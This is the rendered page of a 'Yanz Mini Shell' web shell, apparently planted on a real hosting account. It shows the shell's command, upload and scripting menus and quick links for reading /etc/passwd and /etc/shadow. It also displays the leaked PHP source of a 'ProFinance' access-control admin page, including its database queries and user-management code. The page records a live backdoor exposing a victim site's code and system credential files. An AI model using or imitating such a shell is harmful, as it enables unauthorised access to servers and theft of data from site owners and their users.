Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
housgcjs
elaan.net
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php $path="admin/orna/"; require_once('admin/orna/db.php'); $headder = "<div class=\"col-md-5\" style=\"text-align:right;\"> <a href=\"cu.php\" target=\"_blank\" title=\"Add User\"><button class=\"btn-xs btn-dark\"><i class=\"fa fa-plus\"> </i> Add User</button></a> </div> "; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="description" content=""> <meta name="author" content=""> <meta name="keyword" content=""> <title>Access Control Configurations</title> <script src="assets/js/now.js"></script> <!-- Bootstrap core CSS --> <link href="assets/css/bootstrap.css" rel="stylesheet"> <link href="assets/css/orna.css" rel="stylesheet"> <!--external css--> <link href="assets/font-awesome/css/font-awesome.css" rel="stylesheet" /> <link rel="stylesheet" type="text/css" href="assets/js/gritter/css/jquery.gritter.css" /> <link rel="icon" type="image/x-icon" href="assets/img/favicon.ico"> <!-- Custom styles for this template --> <link href="assets/css/style.css" rel="stylesheet"> <link href="assets/css/style-responsive.css" rel="stylesheet"> <!-- select2 --> <link href="assets/css/select/select2.min.css" rel="stylesheet"> <link href="assets/js/datatables/jquery.dataTables.min.css" rel="stylesheet" type="text/css" /> <link href="assets/js/datatables/buttons.bootstrap.min.css" rel="stylesheet" type="text/css" /> <link href="assets/js/datatables/fixedHeader.bootstrap.min.css" rel="stylesheet" type="text/css" /> <link href="assets/js/datatables/responsive.bootstrap.min.css" rel="stylesheet" type="text/css" /> <link href="assets/js/datatables/scroller.bootstrap.min.css" rel="stylesheet" type="text/css" /> <link href="assets/js/bootstrap-tagsinput/bootstrap-tagsinput.css" rel="stylesheet" type="text/css" /> <!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script> <![endif]--> <style type="text/css"> .form{ margin-bottom:1em; } .success{ color:#868686; font-weight: bold; } .row{ margin: 0; padding: 0 1em; } #form-wrapper{ background-color:white; margin:1em 0em; padding-top: 1em; } .wrapper { padding:15px 0px !important; } list .nav-header { margin-right: -15px; margin-left: -15px; text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); } .nav-header { display: block; padding: 3px 15px; font-size: 11px; font-weight: bold; line-height: 20px; color: #999999; text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); text-transform: uppercase; } .nav-tabs .divider { *width: 100%; height: 1px; margin: 9px 1px; *margin: -5px 0 5px; overflow: hidden; background-color: #e5e5e5; border-bottom: 1px solid #e8e8e8; } .nav-tabs > .active > a, .nav-tabs > .active > a:hover, .nav-tabs > .active > a:focus { color: #ffffff !important; text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.2); background-color: #d9534f !important; margin-right: 0px; border-radius:0; border: none !important; } .container { margin-left: 0px; padding-left: 0px; } .breadcrumb { padding: 8px 15px; margin-bottom: 0px; list-style: none; background-color: white; border-radius: 0px; } .nav-tabs{ border-bottom: 0px; } .tab-content{ overflow: auto; padding: 1em; background-color: #f5f5f5; border: 1px solid #e3e3e3; } .tab-pane{ min-height: 330px; } .tab-pane p{ color: #a2a2a2; font-size: 12px; line-height: 4px; } .control-label{ padding-top: 8px; } .linked{ color:green; font-size: 1.1em; margin-left: 1em; } .not-linked{ color:red; font-size: 1.1em; margin-left: 1em; } .help{ color:dimgrey; font-size: 1.1em; margin-left: 0.5em; cursor: pointer; } .popover { text-align: left !important; } .module_box{ width: 32%; margin:0em 0em 0.5em 0.5em; padding-left: 0px; background-color: white; border: 1px solid #e2e2e2; } .module_box .icon{ text-align: center; width: 25%; float: left; padding: 0.5em; color: white; font-size: 2em; background-color: #929292; } .module_box .text{ padding: 1em 0 0 1em; overflow: hidden; width: 75%; float: right; text-align: left; } .module_box h3{ font-size: 18px; font-weight: bold; color: #8e8e8e; margin:0em; } .module_box span{ color: #c3c3c3; font-size: 0.9em; } .module_checkbox { background: #d9534f; padding: 10px; width: calc(100% - 1.6em); margin: 0.5em; color: #ffffff; text-transform: uppercase; font-weight: 600; border: 1px solid #1c6f92; } .plugin_checkbox { background: #f1f1f1; padding: 10px; color: #666666; border-radius: 2px; font-weight: 400; font-size: 12px; line-height: 18px; border: 1px solid #e3e3e3; } .plugin_checkbox span input { display: inline-block; width: 55px !important; text-align: left; float: unset; } #datatable_wrapper .row, #datatable2_wrapper .row{ margin: 1px !important; } #datatable2_wrapper .col-sm-6 { width: 47%;} .dataTables_length select.input-sm { line-height: 12px !important; } .table{ width: 100% !important; } .well{ min-height: 400px; } #module_title{ font-weight: bold; color: #6b6b6b; } .help_text{ line-height: 22px !important; } #help_acl{ overflow: scroll; } .acl{ display: none; } .control_checkbox input, .text h5 input{ display: inline-block; width: auto !important; margin: 0 5px; padding: 0px; } .control_checkbox span{ margin-right: 5px; } .control_boxes .text{ width: 100% !important; float: left !important; padding: 1em 0 1em 1em; } .module_checkbox span input{ display: inline-block; width: 25px !important; text-align: left; float: unset; } input, select, textarea, .select2-container--default .select2-selection--single{ text-transform:none; } .sub_text { font-style: italic; font-size: 12px; color: #959595; } </style> </head> <body> <section id="container" > <!--header start--> <?php require_once('inc-core/header.inc')?> <!--header end--> <!--sidebar start--> <?php require_once('inc-core/side-bar.inc');?> <!--sidebar end--> <!--main content start--> <section id="main-content"> <section class="wrapper site-min-height"> <!--content-start--> <div id="title"> <div class="row"> <div class="col-sm-12"> <h1><i class="fa fa-lock"></i> Access Control Configurations</h1> <p> You can specifies which users are granted access to functions, as well as <br>what privillages are allowed on given function.</p> </div> </div> </div> <div id="form-wrapper"> <div class="row"> <ul class="breadcrumb"> <li><a href="menu.php">ProFinance</a> <span class="divider"></span></li> <li><a href="#">Administrator</a> <span class="divider"></span></li> <li class="active">Access Control Configurations</li> </ul> <div class="clear-fix"></div> <div class="container col-md-3"> <div class="well" style="margin-right:1em;padding:8px 0px;border-radius:0px;"> <ul class="nav nav-tabs nav-stacked myTab"> <li class="nav-header">Structure</li> <li class="active"><a href="#modules">Module & Functions</a></li> <li><a href="#plugins">Dashboard Plugins</a></li> <li class="divider"></li> <li class="nav-header">Access Control</li> <li><a href="#group_controls">Group Control Setup</a></li> <li><a href="#help_acl"> Help <i class="fa fa-info-circle"> </i></a></li> <li class="divider"></li> <li class="nav-header">Enrole Users</li> <li><a href="#add_users" >Manage User Accounts</a></li> </ul> </div> </div> <div> <div class="tab-content col-md-9"> <!--New Moudule Form--> <div role="tabpanel" class="tab-pane fade" id="module_form"> <div class="col-md-12" style="margin-bottom:2em;"> <div class="col-md-7"> <h4 style="margin-top: 1px;">Enroll Function / Report in <span id="module_title"></span> Module</h4> <p></p> </div> <div class="col-md-5 myTab" style="text-align:right;"> <a href="#modules" title="Go Back"><button class="btn-xs btn-default"><i class="fa fa-chevron-left"> </i> Back</button></a> </div> </div> <form class="form" action="admin/ajax/php/sv.php?t_name1=access_module_control&count=1&row=single&file=false&flimit=0&aiu=n" id="new_module" data-back="" method="POST"> <div class="col-md-12 form-group"> <label class="control-label col-md-3 col-sm-3 col-xs-12 cap"> <span>Module Name </span></label> <div class="col-md-7 col-sm-7 col-xs-12 field"> <input type="text" class="form-control col-md-4" name="title" required/> </div> <div class="clearfix"></div> <label class="control-label col-md-3 col-sm-3 col-xs-12 cap"> <span>Sub Module</span><span class="sub_text"> (if any)</span></label> <div class="col-md-7 col-sm-7 col-xs-12 field"> <input type="text" class="form-control col-md-4 tags_input " id="sub_menu" data-role="tagsinput" name="sub_menu" /> </div> <label class="control-label help select_option" data-toggle="popover" title="Info" data-placement="top" data-content="Add sub menu items, each item is seperated by comma."> <span><i class="fa fa-info-circle"> </i></span> </label> <div class="clearfix"></div> <label class="control-label col-md-3 col-sm-3 col-xs-12 cap"> <span>Sort </span></label> <div class="col-md-7 col-sm-7 col-xs-12 field"> <input type="number" class="form-control col-md-4" name="sort" required/> </div> <div class="clearfix"></div> <label class="control-label col-md-3 col-sm-3 col-xs-12"> <span>Module Description</span><span class="sub_text"> (optional)</span></label> <div class="col-md-7 col-sm-7 col-xs-12 field"> <textarea class="form-control col-md-4" name="description" rows="6" ></textarea> </div> <div class="clearfix"></div> </div> <div class="col-md-3 go"> <button type="submit" class="btn btn-dark"> Save</button> </div> </form> </div> <!--New Moudule Form--> <!--Moudules Grid List--> <div role="tabpanel" class="tab-pane fade in active" id="modules"> <div class="col-md-12" style="margin-bottom:2em;"> <div class="col-md-7"> <h4 style="margin-top: 1px;">Available Modules & Functions</h4> <p>Following Accounts are required to configure Product & Services.</p> </div> <div class="col-md-5 myTab" style="text-align:right;"> <a href="#module_form" target="_blank" title="Module"><button class="btn-xs btn-dark"><i class="fa fa-plus"> </i> Module</button></a> </div> </div> <form class="form" action="admin/ajax/php/acc_launch.php" id="prod_form" method="POST"> <div class="col-md-12 form-group"> <?php $query_module=mysqli_query($connection,"SELECT * FROM `".$MySQL_database."`.`access_module_control` where del ='n'"); while($module=mysqli_fetch_assoc($query_module)){ $cf=mysqli_fetch_assoc(mysqli_query($connection,"select count(*) as cf from `".$MySQL_database."`.access_list_of_form where module_id='".$module['id']."' and form_type='form'")); $cr=mysqli_fetch_assoc(mysqli_query($connection,"select count(*) as cr from `".$MySQL_database."`.access_list_of_form where module_id='".$module['id']."' and form_type='report'")); $moduletitle = preg_replace('/\s+/', '', $module['title']); print " <div class=\"col-md-3 module_box myTab\"> <a href=\"#".strtolower($moduletitle)."\"> <div class=\"icon\"> <i class=\"fa fa-file\"> </i> </div> <div class=\"text\"> <h3>".$module['title']."</h3> <span>".$cf['cf']." Functions / ".$cr['cr']." Reports</span> </div> </a> </div>"; } ?> </div> </form> </div> <!--Moudules Grid List--> <!--Moudules Function List--> <?php $query_module2=mysqli_query($connection,"SELECT * FROM `".$MySQL_database."`.`access_module_control` where del ='n'"); while($mtab=mysqli_fetch_assoc($query_module2)){ $mtab_title = preg_replace('/\s+/', '', $mtab['title']); print "<div role=\"tabpanel\" class=\"tab-pane fade\" id=\"".strtolower($mtab_title)."\"> <div class=\"col-md-12\" style=\"margin-bottom:2em;\"> <div class=\"col-md-7\"> <h4 style=\"margin-top: 1px;\">".$mtab['title']." - Functions & Reports List</h4> <p>Following functions and reports are available in ".$mtab['title']." Module.</p> </div> <div class=\"col-md-5 myTab\" style=\"text-align:right;\"> <a href=\"#modules\" title=\"Go Back\"><button class=\"btn-xs btn-default\"><i class=\"fa fa-chevron-left\"> </i> Back</button></a> <a href=\"#function_form\" title=\"Add Function\"> <button class=\"btn-xs btn-dark function\" data-title=\"".$mtab['title']."\" data-id=\"".$mtab['id']."\"><i class=\"fa fa-plus\"> </i> Function</button> </a> </div> </div> <table id=\"datatable\" class=\"table table-striped table-bordered table-hover\"> <thead> <tr class=\"table_header\"> <th>Sr. #</th> <th width=\"40%\">Title</th> <th>Type</th> <th>Parameters</th> <th>Sub Module</th> <th>Sort</th> <th>Installation</th> <th>Installed on</th> <th>Action</th> </tr> </thead> <tbody>"; $fq=mysqli_query($connection,"SELECT f.*, m.title FROM `".$MySQL_database."`.`access_list_of_form` f, `".$MySQL_database."`.`access_module_control` m where f.del='N' and f.module_id=m.id and f.module_id='".$mtab['id']."'"); $sr=0; while($f=mysqli_fetch_assoc($fq)){ $sr++; if($f['del']=='N'){ $status="<label type=\"button\" class=\"label label-success label-xs\">Active</label>"; }else{ $status="<label type=\"button\" class=\"label label-danger label-xs\">Inactive</label>"; } if($f['form_submenu']==""){ $submenu="<label class=\"label label-danger label-xs\">root</label>"; }else{ $submenu=$f['form_submenu']; } print " <tr> <td>".$sr."</td> <td class='cap'>".$f['form_name']."</td> <td class='cap'>".$f['form_type']."</td> <td>".$f['form_param']."</td> <td class='cap'>".$submenu."</td> <td><label class=\"label label-info label-xs\">".$f['sort']."</label></td> <td>".$status."</td> <td>".date('D d-M-Y', strtotime($f['dt']))."</td> <td> <button class=\"btn btn-danger btn-xs\" disabled><i class=\"fa fa-trash-o \"></i></button> <button class=\"btn btn-primary btn-xs\" disabled><i class=\"fa fa-pencil \"></i></button> </td> </tr>"; } print " </tbody> </table> </div>"; } ?> <!--Moudules Function List--> <!--New Function Form--> <div role="tabpanel" class="tab-pane fade" id="function_form"> <div class="col-md-12" style="margin-bottom:2em;"> <div class="col-md-7"> <h4 style="margin-top: 1px;">Enroll Function / Report in <span id="module_title"></span> Module</h4> <p></p> </div> <div class="col-md-5 myTab" style="text-align:right;"> <a href="#modules" title="Go Back"><button class="btn-xs btn-default"><i class="fa fa-chevron-left"> </i> Back</button></a> </div> </div> <form class="form" action="admin/ajax/php/sv.php?t_name1=access_list_of_form&count=1&row=single&file=false&flimit=0&aiu=n" id="new_form" data-back="" method="POST"> <div class="col-md-12 form-group"> <label class="control-label col-md-3 col-sm-3 col-xs-12 cap"> <span>Select Module </span></label> <div class="col-md-7 col-sm-7 col-xs-12 field"> <select class="select1_single form-control col-md-4 module_id" name="module_id" id="module_id" required> <option value="">Choose Module</option> <?php $sql_m="SELECT * FROM `".$MySQL_database."`.`access_module_control` where del = 'n' order by sort asc"; $m_query=mysqli_query($connection,$sql_m); while($m=mysqli_fetch_assoc($m_query)){ print "<option value='".$m['id']."'>".$m['title']."</option>"; } ?> </select> </div> <div class="clearfix"></div> <label class="control-label col-md-3 col-sm-3 col-xs-12"> <span>Select Sub Module</span></label> <div class="col-md-7 col-sm-7 col-xs-12 field" id="sub_body"> <input type="text" class="form-control col-md-4" name="form_submenu" disabled/> </div> <div class="clearfix"></div> <label class="control-label col-md-3 col-sm-3 col-xs-12 cap"> <span>Function Label </span></label> <div class="col-md-7 col-sm-7 col-xs-12 field"> <input type="text" class="form-control col-md-4" name="form_name" required/> </div> <div class="clearfix"></div> <label class="control-label col-md-3 col-sm-3 col-xs-12 cap"> <span>Type </span></label> <div class="col-md-7 col-sm-7 col-xs-12 field"> <select class="select1_single form-control col-md-4" name="form_type" required> <option value="">Choose Type</option> <option value="form">Function</option> <option value="report">Report</option> </select> </div> <div class="clearfix"></div> <label class="control-label col-md-3 col-sm-3 col-xs-12"> <span>Link Name (Don't add extension)</span></label> <div class="col-md-7 col-sm-7 col-xs-12 field"> <input type="text" class="form-control col-md-4" name="form_link" required/> </div> <div class="clearfix"></div> <label class="control-label col-md-3 col-sm-3 col-xs-12"> <span>URL Parameters (Optional)</span></label> <div class="col-md-7 col-sm-7 col-xs-12 field"> <input type="text" class="form-control col-md-4" name="form_param"/> </div> <div class="clearfix"></div> <label class="control-label col-md-3 col-sm-3 col-xs-12"> <span>Sort</span></label> <div class="col-md-7 col-sm-7 col-xs-12 field"> <input type="number" class="form-control col-md-4" name="sort" id="form_sort"/> </div> <div class="clearfix"></div> <label class="control-label col-md-3 col-sm-3 col-xs-12 cap"> <span>Menu Item </span></label> <div class="col-md-7 col-sm-7 col-xs-12 field"> <select class="select1_single form-control col-md-4" name="menu_status" required> <option value="">Choose Status</option> <option value="Y">Yes</option> <option value="N">No</option> </select> </div> <div class="clearfix"></div> <label class="control-label col-md-3 col-sm-3 col-xs-12"> <span>Font Awesome ICON </span></label> <div class="col-md-7 col-sm-7 col-xs-12 field"> <input type="text" class="form-control col-md-4" name="icon"/> </div> <div class="clearfix"></div> </div> <div class="col-md-3 go"> <button type="submit" class="btn btn-dark"><i class="fa fa-lock"> </i> Enroll</button> </div> </form> </div> <!--New Function Form--> <!--Plugin Definition--> <div role="tabpanel" class="tab-pane fade" id="plugins"> <div class="col-md-12" style="margin-bottom:2em;"> <div class="col-md-7"> <h4 style="margin-top: 1px;">Dashboard Plugins</h4> <p>Add new plugins for your dashboard.</p> </div> <div class="col-md-5 myTab" style="text-align:right;"> <a href="#plugin_form" title="Add Plugin"> <button class="btn-xs btn-dark group" data-title="" data-id=""><i class="fa fa-plus"> </i> Plugin</button> </a> <!--<a href="#modules" title="Go Back"><button class="btn-xs btn-default"><i class="fa fa-chevron-left"> </i> Back</button></a>--> </div> </div> <div class="clearfix"></div> <table id="datatable2" class="table table-striped table-bordered table-hover go"> <thead> <tr class="table_header"> <th>Sr. #</th> <th width="40%">Name</th> <th>Plugin File</th> <th>Status</th> <th>Created on</th> <th>Action</th> </tr> </thead> <tbody> <?php $sql_plugin_nm="SELECT p.* from `".$MySQL_database."`.`ornasys_menu_plugin` p where p.del='N' and p.dir='dashboard' order by p.plugin_name ASC"; $query_plugin_nm = mysqli_query($connection,$sql_plugin_nm); $sr=0; while($plugin_nm=mysqli_fetch_assoc($query_plugin_nm)){ $sr++; if(strtolower($plugin_nm["del"])=="n"){ $plugin_status="Active"; }else{ $plugin_status="Inactive"; } print "<tr> <td>".$sr."</td> <td>".$plugin_nm['plugin_name']."</td> <td>".$plugin_nm['plugin']."</td> <td>".$plugin_status."</td> <td>".date('D d-M-Y', $plugin_nm['dt'])."</td> <td class=\"myTab\"> <button class=\"btn btn-danger btn-xs\" disabled><i class=\"fa fa-trash-o\"></i></button> <a href=\"javascript:void(0);\"><button class=\"btn btn-primary btn-xs\" disabled><i class=\"fa fa-pencil\"></i></button></a> </td> </tr>"; } ?> </tbody> </table> </div> <!--Plugin Definition--> <!--New Plugin--> <div role="tabpanel" class="tab-pane fade" id="plugin_form"> <div class="col-md-12" style="margin-bottom:2em;"> <div class="col-md-7"> <h4 style="margin-top: 1px;">Set up New Plugin</h4> <p></p> </div> <div class="col-md-5 myTab" style="text-align:right;"> <a href="#plugins" title="Go Back"><button class="btn-xs btn-default"><i class="fa fa-chevron-left"> </i> Back</button></a> </div> </div> <form class="group_form" action="admin/ajax/php/module_function.php" id="new_plugin" method="POST" data-back="acl"> <div class="col-md-12 form-group go"> <div class="col-md-6 col-md-offset-3 field" style="text-align:center;"> <label> Plugin Name</label> <input type="text" class="form-control col-md-4" name="plugin_name" required/> <input type="hidden" name="new_plugin" value="y"/> <input type="hidden" name="dir" value="dashboard"/> </div> <div class="clearfix"></div> </div> <div class="col-md-12 go" style="text-align:center;"> <button type="submit" class="btn btn-dark"><i class="fa fa-lock"> </i> Save & Continue</button> </div> </form> </div> <!--New Plugin--> <!--Groups Control Definition--> <div role="tabpanel" class="tab-pane fade" id="group_controls"> <div class="col-md-12" style="margin-bottom:2em;"> <div class="col-md-7"> <h4 style="margin-top: 1px;">Access Control Group Setup</h4> <p>Manage how you want to handle group protection and permissions.</p> </div> <div class="col-md-5 myTab" style="text-align:right;"> <a href="#group_form" title="Add Group"> <button class="btn-xs btn-dark group" data-title="" data-id=""><i class="fa fa-plus"> </i> Group</button> </a> <!--<a href="#modules" title="Go Back"><button class="btn-xs btn-default"><i class="fa fa-chevron-left"> </i> Back</button></a>--> </div> </div> <div class="clearfix"></div> <table id="datatable2" class="table table-striped table-bordered table-hover go"> <thead> <tr class="table_header"> <th>Sr. #</th> <th width="40%">Group</th> <th>Controls</th> <th>Plugin Access</th> <th>Status</th> <th>Created on</th> <th>Action</th> </tr> </thead> <tbody> <?php $sql_acl_group="SELECT m.* from `".$MySQL_database."`.access_control_group_m m where m.del='N' order by m.group_nm ASC"; $query_acl_group = mysqli_query($connection,$sql_acl_group); $sr=0; while($acl_group=mysqli_fetch_assoc($query_acl_group)){ $form_counter=mysqli_fetch_assoc(mysqli_query($connection,"SELECT count(t.id) as controls from `".$MySQL_database."`.access_control_group_t t where t.acg_id='".$acl_group["id"]."' and t.del='N'")); $plugin_counter=mysqli_fetch_assoc(mysqli_query($connection,"SELECT count(t.id) as controls from`".$MySQL_database."`. access_plugin_control t where t.group_id='".$acl_group["id"]."' and t.del='N'")); $sr++; print "<tr> <td>".$sr."</td> <td>".$acl_group['group_nm']."</td> <td><label class=\"label label-primary\">".$form_counter["controls"]."</label> Controls</td> <td><label class=\"label label-success\">".$plugin_counter["controls"]."</label> Controls</td> <td>Active</td> <td>".date('D d-M-Y', $acl_group['dt'])."</td> <td class=\"myTab\"> <button class=\"btn btn-danger btn-xs\" disabled><i class=\"fa fa-trash-o\"></i></button> <a href=\"#".strtolower(str_replace(' ','_',$acl_group['group_nm']))."\"><button class=\"btn btn-primary btn-xs\"><i class=\"fa fa-pencil\"></i></button></a> <a href=\"#".strtolower(str_replace(' ','_',$acl_group['group_nm']))."_plugin\"><button class=\"btn btn-success btn-xs\"><i class=\"fa fa-cog\"></i></button></a> </td> </tr>"; } ?> </tbody> </table> </div> <!--Groups Control Definition--> <!--New Group--> <div role="tabpanel" class="tab-pane fade" id="group_form"> <div class="col-md-12" style="margin-bottom:2em;"> <div class="col-md-7"> <h4 style="margin-top: 1px;">Set up Access Control Group</h4> <p></p> </div> <div class="col-md-5 myTab" style="text-align:right;"> <a href="#group_controls" title="Go Back"><button class="btn-xs btn-default"><i class="fa fa-chevron-left"> </i> Back</button></a> </div> </div> <form class="group_form" action="admin/ajax/php/module_function.php" id="new_group" method="POST" data-back="acl"> <div class="col-md-12 form-group go"> <div class="col-md-6 col-md-offset-3 field" style="text-align:center;"> <label> Enter the Group Name</label> <input type="text" class="form-control col-md-4" name="group_nm" required/> <input type="hidden" name="new_group" value="y"/> </div> <div class="clearfix"></div> </div> <div class="col-md-12 go" style="text-align:center;"> <button type="submit" class="btn btn-dark"><i class="fa fa-lock"> </i> Save & Continue</button> </div> </form> </div> <!--New Group--> <!--Plugin Access--> <?php $query_acl=mysqli_query($connection,"SELECT m.* from `".$MySQL_database."`.access_control_group_m m where m.del='N' order by m.group_nm ASC"); while($acl=mysqli_fetch_assoc($query_acl)){ //Tab Header print " <div role=\"tabpanel\" class=\"tab-pane fade\" id=\"".strtolower(str_replace(' ','_',$acl['group_nm']))."_plugin\"> <div class=\"row\"> <div class=\"col-md-12\" style=\"margin-bottom:2em;\"> <div class=\"col-md-7\"> <h4 style=\"margin-top: 1px;\">".$acl['group_nm']." - Plugin Access</h4> <p>Following dashboard plugins are available in ".$acl['group_nm']." account.</p> </div> <div class=\"col-md-5 myTab\" style=\"text-align:right;\"> <a href=\"#group_controls\" title=\"Go Back\"><button class=\"btn-xs btn-default\"><i class=\"fa fa-chevron-left\"> </i> Back</button></a> </div> </div> </div>"; //Tab Header print "<div class='row'><form class='access_plugin_control' action='admin/ajax/php/up_plugin.php' method='POST' id=\"".strtolower(str_replace(' ','',$acl['group_nm']))."_plugin_".$acl['id']."\">"; //CheckBoxes Area $query_pluginset=mysqli_query($connection,"SELECT * FROM `".$MySQL_database."`.`ornasys_menu_plugin` where del ='n' and dir='dashboard'"); $index=0; print"<row>"; print" <input type='hidden' name=\"group_id\" value=\"".$acl['id']."\">"; while($pluginset=mysqli_fetch_assoc($query_pluginset)){ $check_plugin_access=mysqli_num_rows(mysqli_query($connection,"select * from `".$MySQL_database."`.access_plugin_control where plugin_id='".$pluginset["id"]."' and group_id='".$acl['id']."'")); if($check_plugin_access>0){ $checked="checked"; }else{ $checked=""; } print"<h4 class='plugin_checkbox col-md-5'> <span> <input type='checkbox' style='filter: grayscale(1); transform: scale(1.2);' name=\"plugin[".$pluginset['id']."]\" id=\"p_".$pluginset['id']."\" $checked> </span> ".ucwords($pluginset['plugin_name'])." </h4>"; print "<div class='col-md-1'></div>"; }//Modules END print"</row>"; //CheckBoxes Area print" <button type='submit' class=\"btn btn-success\" style=\"margin:10px;margin-left: 0;\"><i class=\"fa fa-save\"></i> Save</button> </form></div>"; print " </div>"; }//Users Group END ?> <!--Plugin Access--> <!--View & Edit Controls--> <?php $query_acl=mysqli_query($connection,"SELECT m.* from `".$MySQL_database."`.access_control_group_m m where m.del='N' order by m.group_nm ASC"); while($acl=mysqli_fetch_assoc($query_acl)){ //Tab Header print " <div role=\"tabpanel\" class=\"tab-pane fade\" id=\"".strtolower(str_replace(' ','_',$acl['group_nm']))."\"> <div class=\"row\"> <div class=\"col-md-12\" style=\"margin-bottom:2em;\"> <div class=\"col-md-7\"> <h4 style=\"margin-top: 1px;\">".$acl['group_nm']." - Access Controls, User Permissions and Privileges</h4> <p>Following functions and reports are available in ".$acl['group_nm']." account.</p> </div> <div class=\"col-md-5 myTab\" style=\"text-align:right;\"> <a href=\"#group_controls\" title=\"Go Back\"><button class=\"btn-xs btn-default\"><i class=\"fa fa-chevron-left\"> </i> Back</button></a> </div> </div> </div>"; //Tab Header print "<div class='row'><form class='access_control_group_t' action='admin/ajax/php/up_acl.php' method='POST' id=\"".strtolower(str_replace(' ','',$acl['group_nm']))."_".$acl['id']."\">"; //CheckBoxes Area $query_module=mysqli_query($connection,"SELECT * `access_module_control` where del ='n'"); $index=0; while($module=mysqli_fetch_assoc($query_module)){ print"<h4 class='module_checkbox'> <span> <input type='checkbox' style='filter: grayscale(1); transform: scale(1.2);' id=\"m_".$module['id']."\"> </span> ".ucwords($module['title'])." Module </h4>"; $query_form=mysqli_query($connection,"SELECT * FROM `".$MySQL_database."`.`access_list_of_form` where module_id='".$module['id']."' and del='n' order by form_type,form_name ASC "); while($form=mysqli_fetch_assoc($query_form)){ $sql_checkform="select * from `".$MySQL_database."`.access_control_group_t where form_id='".$form["id"]."' and module_id='".$module['id']."' and acg_id='".$acl['id']."'"; $formchecked_query=mysqli_query($connection,$sql_checkform); $form_checked=mysqli_fetch_assoc($formchecked_query); if($form['form_type']=="form"){ $labelcolor='success'; }else{ $labelcolor='danger'; } if($form_checked["edit"]=="y" && $form_checked["delet"]=="y" && $form_checked["view"]=="y"){ $master_check="checked"; }else{ $master_check=""; } if($form_checked["edit"]=="y"){ $edit_check="checked"; }else{ $edit_check=""; } if($form_checked["delet"]=="y"){ $del_check="checked"; }else{ $del_check=""; } if($form_checked["view"]=="y"){ $view_check="checked"; }else{ $view_check=""; } print " <div class=\"col-md-3 module_box control_boxes\"> <div class=\"text\"> <h5 style='color: #0088d2;'> <input type='checkbox' style='filter: grayscale(1)' id=\"f_".$module['id']."_".$form['id']."\" class=\"f".$module['id']."\" $master_check>".ucwords($form['form_name']).' <span style=\'color:grey\'><label class="label label-'.$labelcolor.' label-xs">'.ucwords($form['form_type'])."</label></span> </h5> <span class='control_checkbox'> <input type='checkbox' name='view[".$index."]' value='y' id=\"c_".$module['id']."_".$form['id']."_v\" class=\"c".$form['id']." fc".$module['id']."\" $view_check> View <input type='checkbox' name='edit[".$index."]' value='y' id=\"c_".$module['id']."_".$form['id']."_e\" class=\"c".$form['id']." fc".$module['id']."\" $edit_check> Edit <input type='checkbox' name='delet[".$index."]' value='y' id=\"c_".$module['id']."_".$form['id']."_d\" class=\"c".$form['id']." fc".$module['id']."\" $del_check> Delete <input type='hidden' name=\"del[".$index."]\" value='n'> <input type='hidden' name=\"acg_id[".$index."]\" value=\"".$acl['id']."\" > <input type='hidden' name=\"moudule_id[".$index."]\" value=\"".$module['id']."\" > <input type='hidden' name=\"form_id[".$index."]\" value=\"".$form['id']."\" > </span> </div> </div>"; $index++; }//Forms - Reports END print "<div class='clearfix'></div>"; }//Modules END //CheckBoxes Area print" <button type='submit' class=\"btn btn-success\" style=\"margin:10px;\"><i class=\"fa fa-save\"></i> Save</button> </form></div>"; print " </div>"; }//Users Group END ?> <!--View & Edit Controls--> <!--HELP Groups Control--> <div role="tabpanel" class="tab-pane fade" id="help_acl"> <div class="col-md-12" style="margin-bottom:2em;"> <div class="col-md-7"> <h4 style="margin-top: 1px;">About access control group setup </h4> </div> <div class="col-md-5 myTab" style="text-align:right;"> <!--<a href="#modules" title="Go Back"><button class="btn-xs btn-default"><i class="fa fa-chevron-left"> </i> Back</button></a>--> </div> <div class="clearfix"></div> <p class="help_text">The role and access control configurations menu options in the ProFinance, Administrator menu allow users with full access to configure different levels of access for users. Users with full access configure roles, access control groups, and access privileges for roles. In general, full-access users configure the access of other users to ProFinance.<br> Access control groups comprise lists of functions users and end users. A user may belong to multiple access control groups. After you add an access control group, you then add users to an access control group. After these steps, you can assign rolesto an access control group. If a user belongsto multiple access control groups, the MLA permission enterprise parameter determines the effective privilege of the user.</p> </div> </div> <!--HELP Groups Control--> <!--Groups Control Definition--> <div role="tabpanel" class="tab-pane fade" id="add_users"> <div class="col-md-12" style="margin-bottom:2em;"> <div class="col-md-7"> <h4 style="margin-top: 1px;">User Accounts</h4> <p>This feature lets you create and manage user accounts.</p> </div> <div class="col-md-5 myTab" style="text-align:right;"> <a href="#user_add" title="Add Group"> <button class="btn-xs btn-dark group" data-title="" data-id=""><i class="fa fa-plus"> </i> User</button> </a> <!--<a href="#modules" title="Go Back"><button class="btn-xs btn-default"><i class="fa fa-chevron-left"> </i> Back</button></a>--> </div> </div> <div class="clearfix"></div> <table id="datatable2" class="table table-striped table-bordered table-hover go"> <thead> <tr class="table_header"> <th>Sr. #</th> <th width="40%">User</th> <th>Domain / Group</th> <th>Status</th> <th>Action</th> </tr> </thead> <tbody> <?php $sql_allusers="select * from `".$MySQL_database."`.users order by name asc"; $query_allusers=mysqli_query($connection,$sql_allusers); $sr=0; while($allusers=mysqli_fetch_assoc($query_allusers)){ $sr++; if($allusers["status"]=="n"){ $status="Active"; $btn="<button class=\"btn btn-danger btn-xs suspend\" data-toggle=\"modal\" data-target=\"#suspend-modal\" data-user_id=\"".$allusers['id']."\" data-name=\"".$allusers['name']."\" data-status=\"y\"><i class=\"fa fa-unlink\"></i></button>"; }else{ $status="Inactive"; $btn="<button class=\"btn btn-success btn-xs suspend\" data-toggle=\"modal\" data-target=\"#suspend-modal\" data-user_id=\"".$allusers['id']."\" data-name=\"".$allusers['name']."\" data-status=\"n\"><i class=\"fa fa-link\"></i></button>"; } print " <tr> 